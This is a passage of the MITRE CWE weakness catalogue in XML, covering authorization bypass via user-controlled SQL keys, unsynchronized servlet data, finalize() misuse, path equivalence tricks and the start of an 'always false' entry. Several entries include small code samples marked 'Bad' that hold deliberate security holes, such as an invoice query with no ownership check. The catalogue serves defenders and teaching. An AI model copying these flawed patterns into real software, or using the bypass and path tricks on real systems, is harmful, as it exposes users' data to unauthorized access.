      <Weakness ID="566" Name="Authorization Bypass Through User-Controlled SQL Primary Key" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses a database table that includes records that should not be accessible to an actor, but it executes a SQL statement with a primary key that can be controlled by that actor.</Description>
         <Extended_Description>
            <xhtml:p>When a user can set a primary key to any value, then the user can modify the key to point to unauthorized records.</xhtml:p>
            <xhtml:p>Database access control errors occur when:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>Data enters a program from an untrusted source.</xhtml:li>
                  <xhtml:li>The data is used to specify the value of a primary key in a SQL query.</xhtml:li>
                  <xhtml:li>The untrusted source does not have the permissions to be able to access all rows in the associated table.</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="639" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Technology Name="Database Server" Prevalence="Often"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Access Control</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data. Use an "accept known good" validation strategy.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use a parameterized query AND make sure that the accepted values conform to the business rules. Construct your SQL statement accordingly.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code uses a parameterized statement, which escapes metacharacters and prevents SQL injection vulnerabilities, to construct and execute a SQL query that searches for an invoice matching the specified identifier [1]. The identifier is selected from a list of all invoices associated with the current authenticated user.</Intro_Text>
               <Example_Code Nature="Bad" Language="C#">
                  <xhtml:div>...<xhtml:br/>conn = new SqlConnection(_ConnectionString);<xhtml:br/>conn.Open();<xhtml:br/>int16 id = System.Convert.ToInt16(invoiceID.Text);<xhtml:br/>SqlCommand query = new SqlCommand( "SELECT * FROM invoices WHERE id = @id", conn);<xhtml:br/>query.Parameters.AddWithValue("@id", id);<xhtml:br/>SqlDataReader objReader = objCommand.ExecuteReader();<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The problem is that the developer has not considered all of the possible values of id. Although the interface generates a list of invoice identifiers that belong to the current user, an attacker can bypass this interface to request any desired invoice. Because the code in this example does not check to ensure that the user has permission to access the requested invoice, it will display any invoice, even if it does not belong to the current user.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP25</Entry_ID>
               <Entry_Name>Tainted input to variable</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Other_Notes, Potential_Mitigations, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Access Control Bypass Through User-Controlled SQL Primary Key</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="567" Name="Unsynchronized Access to Shared Data in a Multithreaded Context" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.</Description>
         <Extended_Description>
            <xhtml:p>Within servlets, shared static variables are not protected from concurrent access, but servlets are multithreaded. This is a typical programming mistake in J2EE applications, since the multithreading is handled by the framework. When a shared variable can be influenced by an attacker, one thread could wind up modifying the variable to contain data that is not valid for a different thread that is also using the data within the variable.</xhtml:p>
            <xhtml:p>Note that this weakness is not unique to servlets.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="820" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1340" Ordinal="Primary"/>
             <Related_Weakness Nature="CanPrecede" CWE_ID="488" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
               <Impact>DoS: Instability</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>If the shared variable contains sensitive data, it may be manipulated or displayed in another user session. If this data is used to control the application, its value can be manipulated to cause the application to crash or perform poorly.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Remove the use of static variables used between servlets. If this cannot be avoided, use synchronized access for these variables.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code implements a basic counter for how many times the page has been accesed.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public static class Counter extends HttpServlet {<xhtml:div style="margin-left:1em;">static int count = 0;<xhtml:br/>protected void doGet(HttpServletRequest in, HttpServletResponse out)<xhtml:br/>throws ServletException, IOException {<xhtml:div style="margin-left:1em;">out.setContentType("text/plain");<xhtml:br/>PrintWriter p = out.getWriter();<xhtml:br/>count++;<xhtml:br/>p.println(count + " hits so far!");</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Consider when two separate threads, Thread A and Thread B, concurrently handle two different requests:</Body_Text>
               <Body_Text>
                  <xhtml:ul>
                     <xhtml:li>
                        <xhtml:div>Assume this is the first occurrence of doGet, so the value of count is 0.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>doGet() is called within Thread A.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>The execution of doGet() in Thread A continues to the point AFTER the value of the count variable is read, then incremented, but BEFORE it is saved back to count. At this stage, the incremented value is 1, but the value of count is 0.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>doGet() is called within Thread B, and due to a higher thread priority, Thread B progresses to the point where the count variable is accessed (where it is still 0), incremented, and saved. After the save, count is 1.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>Thread A continues. It saves the intermediate, incremented value to the count variable - but the incremented value is 1, so count is "re-saved" to 1.</xhtml:div>
                     </xhtml:li>
                  </xhtml:ul>
               </Body_Text>
               <Body_Text>At this point, both Thread A and Thread B print that one hit has been seen, even though two separate requests have been processed. The value of count should be 2, not 1.</Body_Text>
               <Body_Text>While this example does not have any real serious implications, if the shared variable in question is used for resource tracking, then resource consumption could occur. Other scenarios exist.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>VNA00-J</Entry_ID>
               <Entry_Name>Ensure visibility when accessing shared primitive variables</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>VNA02-J</Entry_ID>
               <Entry_Name>Ensure that compound operations on shared variables are atomic</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP19</Entry_ID>
               <Entry_Name>Missing Lock</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="25"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-09</Modification_Date>
               <Modification_Importance>Critical</Modification_Importance>
               <Modification_Comment>Made name and description more specific to match the essence of the rest of the entry.</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Name, Other_Notes, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2010-12-13">Unsynchronized Access to Shared Data</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="568" Name="finalize() Method Without super.finalize()" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product contains a finalize() method that does not call super.finalize().</Description>
         <Extended_Description>The Java Language Specification states that it is a good practice for a finalize() method to call super.finalize().</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="573" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="459" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Call the super.finalize() method.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use static analysis tools to spot such issues in your code.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following method omits the call to super.finalize().</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>protected void finalize() {<xhtml:div style="margin-left:1em;">discardNative();</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>MET12-J</Entry_ID>
               <Entry_Name>Do not use finalizers</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP28</Entry_ID>
               <Entry_Name>Unexpected access points</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Erroneous Finalize Method</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="57" Name="Path Equivalence: 'fakedir/../realdir/filename'" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product contains protection mechanisms to restrict access to 'realdir/filename', but it constructs pathnames using external input in the form of 'fakedir/../realdir/filename' that are not handled by those mechanisms. This allows attackers to perform unauthorized actions against the targeted file.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="41" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-1152</Reference>
               <Description>Proxy allows remote attackers to bypass denylist restrictions and connect to unauthorized web servers by modifying the requested URL, including (1) a // (double slash), (2) a /SUBDIR/.. where the desired file is in the parentdir, (3) a /./, or (4) URL-encoded characters.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1152</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0191</Reference>
               <Description>application check access for restricted URL before canonicalization</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0191</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1366</Reference>
               <Description>CGI source disclosure using "dirname/../cgi-bin"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1366</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>dirname/fakechild/../realchild/filename</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Theoretical">This is a manipulation that uses an injection for one consequence (containment violation using relative path) to achieve a different consequence (equivalence by alternate name).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Name, Observed_Examples, Other_Notes, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - dirname/fakechild/../realchild/filename</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-10-14">Path Equivalence: 'dirname/fakechild/../realchild/filename'</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="570" Name="Expression is Always False" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product contains an expression that will always evaluate to false.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="561" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Testing</Phase>
